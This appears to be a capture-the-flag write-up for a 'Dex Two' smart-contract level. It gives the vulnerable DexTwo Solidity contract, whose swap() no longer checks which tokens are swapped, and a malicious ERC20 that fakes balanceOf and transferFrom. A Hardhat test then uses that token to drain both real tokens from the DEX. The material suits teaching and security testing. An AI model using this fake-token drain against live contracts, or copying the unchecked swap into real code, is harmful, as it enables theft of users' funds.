This is a classical case of an External Contract Referencing attack. The swap() method from the previous level “DEX” has been modified to remove the following check:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
As a result, we can supply swap() a maliciously written token contract. This malicious ERC20 contract would have to simply respond to balanceOf() and transferFrom() calls to make the attack successful.
// Dex2.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
/*function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}*/
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
// MyERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MyERC20 is ERC20
{
constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
}
}
// MaliciousERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MaliciousERC20 is ERC20
{
constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
}
function balanceOf(address account) public view virtual override returns (uint256) {
return 100;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
return true;
}
}
//Hardhat Test (solution.js):
const { expect } = require("chai");
const { Wallet, Signer } = require("ethers");
const { ethers, network } = require("hardhat");
describe("Recovery.sol", () => {
describe("Test run", () => {
it("should run fine", async () => {
const [owner, attacker] = await ethers.getSigners();
// Deploy 2 instances of MyERC20 token
const myERC20Contract = await ethers.getContractFactory("MyERC20")
const myerc20_1 = await myERC20Contract.deploy("myerc20_1", "myerc20_1", 1000);
await myerc20_1.deployed();
const myerc20_2 = await myERC20Contract.deploy("myerc20_2", "myerc20_2", 1000);
await myerc20_2.deployed();
console.log("myerc20_1 address: ", myerc20_1.address)
console.log("myerc20_2 address: ", myerc20_2.address)
// Deploy DexTwo contract
const dex2Contract = await ethers.getContractFactory("DexTwo")
const dex2 = await dex2Contract.deploy()
await dex2.deployed()
console.log("Dex2 address: ", dex2.address)
// Point Dex contract to the 2 tokens we created
await dex2.setTokens(myerc20_1.address, myerc20_2.address)
// Transfer 10 tokens each to attacker and 100 to dex
await myerc20_1.transfer(attacker.address, 10)
await myerc20_2.transfer(attacker.address, 10)
await myerc20_1.transfer(dex2.address, 100)
await myerc20_2.transfer(dex2.address, 100)
console.log("\nAttacker token balance: ", await myerc20_1.balanceOf(attacker.address), await myerc20_2.balanceOf(attacker.address))
console.log("Dex2 token balance: ", await myerc20_1.balanceOf(dex2.address), await myerc20_2.balanceOf(dex2.address))
// Dpeloy our malicious ERC20 token
const maliciousERC20Contract = await ethers.getContractFactory("MaliciousERC20")
const maliciousERC20 = await maliciousERC20Contract.deploy("MAL", "MAL", 1000);
await maliciousERC20.deployed();
// Lets siphon off myerc20_1 token first
console.log("\nAttacker token balance before attack: ", await myerc20_1.balanceOf(attacker.address))
console.log("Dex2 token balance before attack: ", await myerc20_1.balanceOf(dex2.address))
await dex2.connect(attacker).swap(maliciousERC20.address, myerc20_1.address, 100)
console.log("Attacker token balance after attack: ", await myerc20_1.balanceOf(attacker.address))
console.log("Dex2 token balance after attack: ", await myerc20_1.balanceOf(dex2.address))
// Now lets siphon off all myerc20_2 tokens
console.log("\nAttacker token balance before attack: ", await myerc20_2.balanceOf(attacker.address))
console.log("Dex2 token balance before attack: ", await myerc20_2.balanceOf(dex2.address))
await dex2.connect(attacker).swap(maliciousERC20.address, myerc20_2.address, 100)
console.log("Attacker token balance after attack: ", await myerc20_2.balanceOf(attacker.address))
console.log("Dex2 token balance after attack: ", await myerc20_2.balanceOf(dex2.address))
});
});
});